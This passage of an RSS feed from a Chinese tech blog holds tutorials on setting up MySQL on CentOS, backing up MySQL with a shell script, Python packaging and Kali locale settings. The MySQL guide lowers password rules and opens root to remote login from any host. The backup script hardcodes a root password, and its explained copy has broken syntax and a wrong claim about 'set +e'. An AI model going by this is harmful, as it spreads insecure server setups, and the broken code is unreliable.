<code>netstat -anp</code> 是一个命令，用于显示网络连接的详细信息。<code>-a</code> 参数显示所有连接和监听端口，<code>-n</code> 参数显示地址和端口号而不是尝试解析它们，-p 参数显示哪个进程正在使用连接。</p>
<p><code>grep 3306</code> 是用来在<code>netstat</code>的输出中查找端口号<code>3306</code>的记录。<br>
:::</p>
<h1>登录MySQL</h1>
<h2>查看在日志中的MySQL初始密码</h2>
<pre><code>grep &quot;A temporary password&quot; /var/log/mysqld.log
</code></pre>
<p><img src="https://casear.net/static/img/24abaad58a54e4afb65405332266fea2.image.webp" alt="image.png"><br>
:::tip{title=&quot;提示&quot;}<br>
<code>grep &quot;A temporary password&quot; /var/log/mysqld.log</code> 是在 <code>/var/log/mysqld.log</code> 日志文件中搜索包含 &quot;<code>A temporary password</code>&quot; 的行<br>
:::</p>
<h2>使用初始密码登录mysql</h2>
<pre><code>mysql -u root -p
</code></pre>
<p>会提示输入密码，密码在输入时不会显示，建议直接复制粘贴</p>
<p><img src="https://casear.net/static/img/84a3a3e7c3f82754f50097addcbbe446.image.webp" alt="image.png"></p>
<p><img src="https://casear.net/static/img/3281f0aa6ae1507af09fd8fb5a4af9a9.image.webp" alt="image.png"></p>
<h1>修改初始密码</h1>
<pre><code>ALTER USER 'root'@'localhost' IDENTIFIED BY 'MySQL@123';
</code></pre>
<p>:::note{title=&quot;注&quot;}<br>
注意8位数以上和种类至少大+写+小写+符号+数字<br>
:::</p>
<h1>更改密码复杂程度</h1>
<p>因为mysql的密码设置的太复杂不太好记，这里把密码设置的简单一点</p>
<p>先看看当前的密码验证策略</p>
<p>输入：<code>SHOW VARIABLES LIKE 'validate_password.%';</code></p>
<p><img src="https://casear.net/static/img/7798607c52b3df14b21b23745d2190e1.image.webp" alt="image.png"></p>
<h3>策略说明:<br></h3>
<ul>
<li><code>validate_password.length</code> 是密码的最小长度，默认是8，我们把它改成6<br></li>
<li>输入：<code>set global validate_password.length=6;</code><br></li>
<li><code>validate_password.policy</code> 验证密码的复杂程度，我们把它改成<code>0</code><br></li>
<li>输入：<code>set global validate_password.policy=0;</code><br></li>
<li><code>validate_password.check_user_name</code> 用户名检查，用户名和密码不能相同，我们也把它关掉<br></li>
<li>输入：<code>set global validate_password.check_user_name=off;</code><br></li>
</ul>
<h1>远程连接mysql</h1>
<ul>
<li>连接服务器: <code>mysql -u root -p</code></li>
<li>看当前所有数据库：<code>show databases;</code></li>
<li>进入mysql数据库：<code>use mysql;</code></li>
<li>查看mysql数据库中所有的表：<code>show tables;</code></li>
<li>查看user表中的数据：<code>select host, user, authentication_string, plugin from user;</code></li>
</ul>
<p><img src="https://casear.net/static/img/b2b4540ce190c833cdfbdd79f21a2596.image.webp" alt="image.png"><br>
:::note{title=&quot;注&quot;}</p>
<ul>
<li>
<p>从<code>user</code>表中选取<code>host</code>、<code>user</code>、<code>authentication_string</code>和<code>plugin</code>这四个字段的所有记录。</p>
</li>
<li>
<p>各个字段的意义如下：</p>
</li>
<li>
<p><code>host</code>: 该字段记录了用户可以从哪个主机连接到数据库。例如，localhost表示只能从本地计算机连接，而%表示从任何主机都可以连接。</p>
</li>
<li>
<p><code>user</code>: 这是数据库的用户名。结合host字段，可以确定一个特定的数据库连接权限。</p>
</li>
<li>
<p><code>authentication_string</code>: 这是用户的加密后的密码或其他身份验证信息。在MySQL 5.7及之后的版本中，密码字段从<code>password</code>变为了<code>authentication_string</code>。</p>
</li>
<li>
<p><code>plugin</code>: 这指示了用于身份验证的插件。例如，常见的值有<code>mysql_native_password</code>和<code>caching_sha2_password</code>。插件决定了密码如何被验证和加密。<br>
:::</p>
</li>
<li>
<p>修改user表中的<code>Host</code>：<code>update user set host = '%' where user = 'root' and host='localhost';</code></p>
</li>
</ul>
<p><img src="https://casear.net/static/img/f5157a1121a22667678b4f0345a0ca4a.image.webp" alt="image.png"><br>
:::note{title=&quot;注&quot;}<br>
这条语句使用的是<code>MySQL</code>的<code>UPDATE</code>语句，它的意思是：在用户表(<code>user</code>)中，将所有用户名为'<code>root</code>'并且主机名为'<code>localhost</code>'的用户的<code>host</code>字段的值更新为'<code>%</code>'。</p>
<p>这里，'<code>%</code>'表示任何主机都可以连接。<br>
:::</p>
<ul>
<li>最后刷新一下：<code>flush privileges;</code></li>
<li>这样就可以使用Navicat来连接服务器上的数据库了</li>
</ul>
<h2>查看防火墙状态</h2>
<p>在防火墙中开启<code>3306</code>端口</p>
<pre><code class="language-查看防火墙状态">systemctl status firewalld.service
</code></pre>
<p>现在是开启状态<br>
<img src="https://casear.net/static/img/e371abe86f2444ab47d89e7fedb4f4b8.image.webp" alt="image.png"></p>
<p>如果是关闭状态则运行下面的命令</p>
<pre><code class="language-这里把防火墙打开">systemctl start firewalld
</code></pre>
<h2>开放端口</h2>
<ul>
<li><code>firewall-cmd --zone=public --list-ports</code> 查看所有打开的端口</li>
<li><code>firewall-cmd --zone=public --add-port=3306/tcp --permanent</code>   # 开放3306端口</li>
<li><code>firewall-cmd --reload</code>   # 配置立即生效</li>
<li></li>
</ul>
<h2>重启防火墙</h2>
<pre><code>systemctl restart firewalld.service
</code></pre>
<p>在<code>Linux</code>系统中，<code>firewalld</code>是一个用于管理<code>IP</code>包过滤规则的服务，它可以用来保护你的系统免受网络攻击。通过重启<code>firewalld</code>服务，你可以确保任何对防火墙规则的更改都会生效。</p>
<p>当你执行<code>systemctl restart firewalld.service</code>命令时，系统会先停止<code>firewalld</code>服务，然后再重新启动它。这样可以确保所有的防火墙规则都被重新加载并生效。</p>
<h1>Navicat连接CentOS7上的数据库</h1>
<p><img src="https://casear.net/static/img/dde81bd96a70980df11e893469218c4f.image.webp" alt="image.png"></p>
<p>:::info{title=&quot;相关信息&quot;}<br>
常用<code>MySQL</code>服务命令：</p>
<ul>
<li><code>mysql -u username -p</code> #登录<code>MySQL</code></li>
<li><code>quit</code> #退出<code>MySQL</code></li>
<li><code>systemctl start mysqld.service</code>  #启动<code>MySQL</code></li>
<li><code>systemctl stop mysqld.service</code> #结束</li>
<li><code>systemctl restart mysqld.service</code> #重启</li>
<li><code>systemctl enable mysqld.service</code> #开机自启</li>
<li><code>select version();</code> #查看<code>MySQL</code>版本<br>
:::</li>
</ul>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/MySQL">MySQL</category>
        </item>
        <item>
            <title><![CDATA[python打包可执行文件]]></title>
            <link>https://www.casear.net/post/5</link>
            <guid>https://www.casear.net/post/5</guid>
            <pubDate>Fri, 08 Dec 2023 13:39:49 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <!-- more -->
<h2>要将Python脚本打包为可执行文件，可以使用<code>PyInstaller</code>或<code>cx_Freeze</code>等工具。</h2>
<h3>首先安装<code>PyInstaller</code>或<code>cx_Freeze</code>：</h3>
<pre><code class="language-code">pip install pyinstaller
</code></pre>
<p>或</p>
<pre><code class="language-code">pip install cx_Freeze
</code></pre>
<h3>然后使用以下命令将Python脚本打包为可执行文件：</h3>
<pre><code>pyinstaller your_script.py
</code></pre>
<p>或</p>
<pre><code>cxfreeze your_script.py --target-dir dist
</code></pre>
<p>:::info{title=&quot;相关信息&quot;}<br>
这将在当前目录下生成一个dist文件夹，其中包含可执行文件和其他必要的文件。可以将这个文件夹发送给其他人，他们就可以直接运行你的Python脚本而无需安装Python解释器。<br>
:::</p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Python">Python</category>
        </item>
        <item>
            <title><![CDATA[MySQL8.0以上PHP连接问题]]></title>
            <link>https://www.casear.net/post/4</link>
            <guid>https://www.casear.net/post/4</guid>
            <pubDate>Wed, 06 Dec 2023 12:08:47 GMT</pubDate>
            <description><![CDATA[<p>:::tip{title=&quot;提示&quot;}<br>
这个错误是因为MySQL 8.0默认使用了caching_sha2_password身份验证插件，而你的PHP客户端可能不支持这种身份验证方法。你可以尝试以下几种解决方案：<br>
:::</p>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <p>:::tip{title=&quot;提示&quot;}<br>
这个错误是因为MySQL 8.0默认使用了caching_sha2_password身份验证插件，而你的PHP客户端可能不支持这种身份验证方法。你可以尝试以下几种解决方案：<br>
:::</p>
<!-- more -->
<blockquote>
<p>更改MySQL的身份验证方法：你可以尝试在MySQL中更改用户的身份验证方法。打开<code>MySQL 8.1 Command Line Client</code>，然后运行以下命令</p>
</blockquote>
<pre><code>ALTER USER 'yourusername'@'localhost' IDENTIFIED WITH mysql_native_password BY 'yourpassword'; 

FLUSH PRIVILEGES;
</code></pre>
<p>这里 'yourusername' 和 'yourpassword' 分别替换为你的用户名和密码。<br><br>
正确的话会提示你输入密码<br><br>
例：</p>
<p><img src="https://casear.cn/static/img/20e26dce120573cf6e54a35618855f7b.image.webp" alt="image.png"><br>
:::tip{title=&quot;提示&quot;}<br>
更新PHP：另一个解决方案是更新PHP到一个版本，该版本支持caching_sha2_password身份验证插件。根据你的错误日志，你正在使用PHPstudy_pro，这可能是你遇到这个问题的原因。你可以尝试更新PHP到最新版本，或者至少更新到7.4或更高版本，因为这些版本支持caching_sha2_password。<br>
:::</p>
<blockquote>
<p>使用PDO：你也可以考虑使用PDO扩展来连接MySQL数据库，因为PDO对各种数据库的兼容性更好。</p>
</blockquote>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/PHP">PHP</category>
        </item>
        <item>
            <title><![CDATA[kali设置为中文]]></title>
            <link>https://www.casear.net/post/3</link>
            <guid>https://www.casear.net/post/3</guid>
            <pubDate>Sun, 16 Jun 2024 10:23:29 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <!-- more -->
<h1>kali-linux系统（vm虚拟机）切换中文</h1>
<h3>操作步骤</h3>
<h4>1、新安装的kali需要设置root账户，切换语言的命令需要root权限执行<br></h4>
<p>已经设置了root用户的直接跳转到第二步<br><br>
新安装的kali需要设置root账号的密码<br></p>
<p>使用sudo passwd root命令来验证kali账号的密码并设置root密码</p>
<pre><code>sudo passwd root
</code></pre>
<h4>2、在终端中执行dpkg-reconfigure locales命令</h4>
<pre><code>dpkg-reconfigure locales
</code></pre>
<p>:::warning{title=&quot;注意&quot;}<br>
如果是root用户可直接执行dpkg-reconfigure locales命令<br><br>
如果是kali用户则需先切换成root用户登陆再进行执行<br><br>
Kali用户切换到root，执行su root输入密码即可完成切换<br>
:::</p>
<p><img src="https://img.casear.net/img/485391da5dc4c900cee82a0c8bb42b31.image.webp" alt="image.png"><br><br>
弹出该窗口即可<br>
在弹出的窗口按空格取消勾选en_us<br>
<img src="https://img.casear.net/img/57203a813e719e0a84ffe2a71dd8a52c.image.webp" alt="image.png"><br>
取消勾选后翻到最下面勾选zh_ch</p>
<p><img src="https://img.casear.net/img/78748d99dc35b2cb1e948989599f48ed.image.webp" alt="image.png"><br><br>
勾选之后按tab跳转到确定，按回车确定</p>
<p><img src="https://img.casear.net/img/0fe2ef73f9c64bbb4e93332e50484066.image.webp" alt="image.png"><br>
勾选zh_ch，再次按tab回车确定，重启kali即可完成切换</p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/	kali-linux">	kali-linux</category>
        </item>
        <item>
            <title><![CDATA[shell脚本备份 MySQL数据库]]></title>
            <link>https://www.casear.net/post/2</link>
            <guid>https://www.casear.net/post/2</guid>
            <pubDate>Tue, 19 Mar 2024 00:13:31 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <!-- more -->
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-meta">#!/bin/bash</span>
<span class="hljs-built_in">set</span> -e
name=<span class="hljs-string">&quot;数据库备份_<span class="hljs-subst">$(date +%Y-%m-%d_%H-%M-%S)</span>.sql&quot;</span>
bendi=/var/backups/mysql
yuancheng=192.168.236.30::backup
user=root
password=<span class="hljs-string">&#x27;MySQL@329958&#x27;</span>
sql_host=localhost
<span class="hljs-keyword">if</span> [ ! -d <span class="hljs-string">&quot;<span class="hljs-variable">$bendi</span>&quot;</span> ]; <span class="hljs-keyword">then</span> 
  <span class="hljs-built_in">mkdir</span> -p <span class="hljs-string">&quot;<span class="hljs-variable">$bendi</span>&quot;</span>        
  <span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;备份文件夹 <span class="hljs-variable">$bendi</span> 不存在，已创建该文件夹。&quot;</span>
<span class="hljs-keyword">fi</span>
<span class="hljs-function"><span class="hljs-title">bak</span></span>(){
  <span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;MySQL bakcup begin at `date`&quot;</span>
  <span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;执行MySQLdump，备份文件路径为/var/backups/mysql/<span class="hljs-variable">$name</span>&quot;</span>
  mysqldump -hlocalhost -uroot -pMySQL@329958 a &gt;/var/backups/mysql/<span class="hljs-variable">$name</span>
  <span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;远程拷贝到192.168.236.30::backup<span class="hljs-variable">$name</span>&quot;</span>
  rsync -az $bendi<span class="hljs-variable">$name</span>.<span class="hljs-variable">$d1</span> <span class="hljs-variable">$yuancheng</span>/<span class="hljs-variable">$name</span>
  <span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;MySQL backup end at `date`&quot;</span>
}
bak &gt;&gt;<span class="hljs-variable">${bendi}</span>/mysqldump日志.<span class="hljs-built_in">log</span> 2&gt;&gt;<span class="hljs-variable">${bendi}</span>/rsync日志.err
<span class="hljs-built_in">echo</span> $(<span class="hljs-string">&quot;备份成功&quot;</span>)
<span class="hljs-built_in">set</span> +e
</code></pre>
<h3>set -e 表示一旦执行命令出现错误，就立即退出脚本</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>name=<span class="hljs-string">&quot;数据库备份_<span class="hljs-subst">$(date +%Y-%m-%d_%H-%M-%S)</span>.sql&quot;</span> <span class="hljs-comment"># 定义备份文件名，包含当前时间</span>
bendi=/var/backups/mysql <span class="hljs-comment"># 定义本地备份路径</span>
yuancheng=192.168.236.30::backup <span class="hljs-comment"># 定义远程备份路径</span>
user=root <span class="hljs-comment"># 定义MySQL用户名</span>
password=<span class="hljs-string">&#x27;MySQL@329958&#x27;</span> <span class="hljs-comment"># 定义MySQL密码</span>
sql_host=localhost <span class="hljs-comment"># 定义MySQL主机地址</span>
</code></pre>
<h3>如果本地备份路径不存在，则创建该路径</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-keyword">if</span> [!-d <span class="hljs-string">&quot;<span class="hljs-variable">$bendi</span>&quot;</span>]; <span class="hljs-keyword">then</span> 
  <span class="hljs-built_in">mkdir</span> -p <span class="hljs-string">&quot;<span class="hljs-variable">$bendi</span>&quot;</span>    
<span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;备份文件夹 <span class="hljs-variable">$bendi</span> 不存在，已创建该文件夹。&quot;</span>
<span class="hljs-keyword">fi</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;备份文件夹 <span class="hljs-variable">$bendi</span> 不存在，已创建该文件夹。&quot;</span>
<span class="hljs-keyword">fi</span>
</code></pre>
<h3>定义备份函数</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-function"><span class="hljs-title">bak</span></span>(){
<span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;MySQL bakcup begin at date&quot;</span> <span class="hljs-comment"># 输出备份开始时间</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;执行MySQLdump，备份文件路径为/var/backups/mysql/<span class="hljs-variable">$name</span>&quot;</span>
</code></pre>
<h3>使用mysqldump命令备份MySQL数据库，并将备份文件保存到本地备份路径下</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>mysqldump -hlocalhost -uroot -pMySQL@329958 a &gt;/var/backups/mysql/name <span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;
</span></code></pre>
<h3>远程拷贝到</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>192.168.236.30::backupname
</code></pre>
<h3>使用rsync命令将备份文件同步到远程备份路径下</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>rsync -az $bendi<span class="hljs-variable">$name</span>.<span class="hljs-variable">$d1</span> <span class="hljs-variable">$yuancheng</span>/<span class="hljs-variable">$name</span>
<span class="hljs-built_in">echo</span> <span class="hljs-string">&quot;MySQL backup end at date&quot;</span> <span class="hljs-comment"># 输出备份结束时间</span>
}
</code></pre>
<h3>执行备份函数，并将输出结果分别保存到日志文件和错误文件中</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>bak &gt;&gt;{bendi}/mysqldump日志.<span class="hljs-built_in">log</span> 2&gt;&gt;{bendi}/rsync日志.err
</code></pre>
<h3>输出备份成功信息</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">echo</span> $(<span class="hljs-string">&quot;备份成功&quot;</span>)  
</code></pre>
<h3>关闭错误退出模式</h3>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">set</span> +e 
</code></pre>
<ol>
<li><code>set -e</code> 表示一旦执行命令出现错误，就立即退出脚本，这是一种错误退<br>
出模式。</li>
<li><code>name=&quot;数据库备份_$(date +%Y-%m-%d_%H-%M-%S).sql&quot;</code> 定义备份文件<br>
名，包含当前时间，以便于区分备份文件。</li>
<li><code>bendi=/var/backups/mysql</code> 定义本地备份路径，即备份文件保存的路<br>
径。</li>
<li><code>yuancheng=192.168.236.30::backup</code> 定义远程备份路径，即备份文件同<br>
步到远程服务器的路径。</li>
<li><code>user=root</code> 定义MySQL用户名。</li>
<li><code>password='MySQL@329958'</code> 定义MySQL密码。</li>
<li><code>sql_host=localhost</code> 定义MySQL主机地址。</li>
<li><code>[ ! -d &quot;$bendi&quot; ]</code> 判断本地备份路径是否存在，如果不存在则创建该路<br>
径。</li>
<li><code>bak()</code> 是一个备份函数，主要功能是使用 <code>mysqldump</code> 命令备份MySQL<br>
数据库，并使用 <code>rsync</code> 命令将备份文件同步到远程服务器上。</li>
<li><code>bak &gt;&gt;${bendi}/mysqldump日志.log 2&gt;&gt;${bendi}/rsync日志.err</code> 执行备<br>
份函数，并将输出结果分别保存到日志文件和错误文件中。</li>
<li><code>echo &quot;备份成功&quot;</code> 输出备份成功信息。</li>
<li><code>set +e</code> 关闭错误退出模式，这是为了避免在脚本执行过程中出现错误而<br>
导致整个脚本退出。</li>
</ol>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Linux">Linux</category>
        </item>
        <item>
            <title><![CDATA[python定义函数]]></title>
            <link>https://www.casear.net/post/1</link>
            <guid>https://www.casear.net/post/1</guid>
            <pubDate>Fri, 08 Dec 2023 13:39:49 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <!-- more -->
<h2>定义函数的规则</h2>
<p>1.函数代码块以 def 关键词开头，后接函数标识符名称和圆括号 ()。<br><br>
2.任何传入参数和自变量必须放在圆括号中间，圆括号之间可以用于定义参数。<br><br>
3.函数的第一行语句可以选择性地使用文档字符串—用于存放函数说明。<br><br>
4.函数内容以冒号 : 起始，并且缩进。<br><br>
5.return [表达式] 结束函数，选择性地返回一个值给调用方，不带表达式的 return 相当于返回 None<br></p>
<h2>Python 定义函数使用 def 关键字，一般格式如下</h2>
<pre><code>def function(args):
    pass
def 函数名（参数列表）:
    函数体
</code></pre>
<h2>实例实验</h2>
<pre><code>def max (a,b):
    if a&gt;=b:
        c=a
    else:
        c =b
    return c
a = int(input(&quot;&quot;))
b = int(input(&quot;&quot;))
c = int(input(&quot;&quot;))
d = max(a,b)
e = max(c,d)
print (e,&quot;最大&quot;)
</code></pre>
<h3>定义max函数</h3>
<p>参数列表设置（a,b）<br><br>
函数体中是一<code>个简单</code>的判断大小的if循环<br><br>
if条件设置<code>a</code>如何大于等于<code>b</code>，则将<code>a</code>的数值赋值给<code>c</code><br>
如何<code>a</code>大于等于<code>b</code>不成立，则将<code>b</code>的数值赋值给<code>c</code>，来实现对比<code>ab</code>的大小<br><br>
函数会在执行到 <code>return c </code>语句时，将 <code>c</code> 的值作为函数的返回值返回给调用者。</p>
<h3>调用函数</h3>
<p>使用<code>input</code>函数来输入数值，<br><br>
<code>int（）</code>函数把<code>input</code>中输入的数值转换为<code>int</code>类型并赋值给<code>a</code><br><br>
直接使用函数名和（参数列表）即可调用函数<br><br>
参数列表中的变量可更换为现有变量，使用函数判断输入的<code>ab</code>哪个最大<br><br>
判断完后赋值给<code>d</code>，下一个直接判断<code>c</code>和<code>d</code>，因为<code>ab</code>判断的结果已经赋值给了d<br><br>
下一步使用<code>print</code>直接输出<code>e</code>即可</p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Python">Python</category>
        </item>
    </channel>
</rss>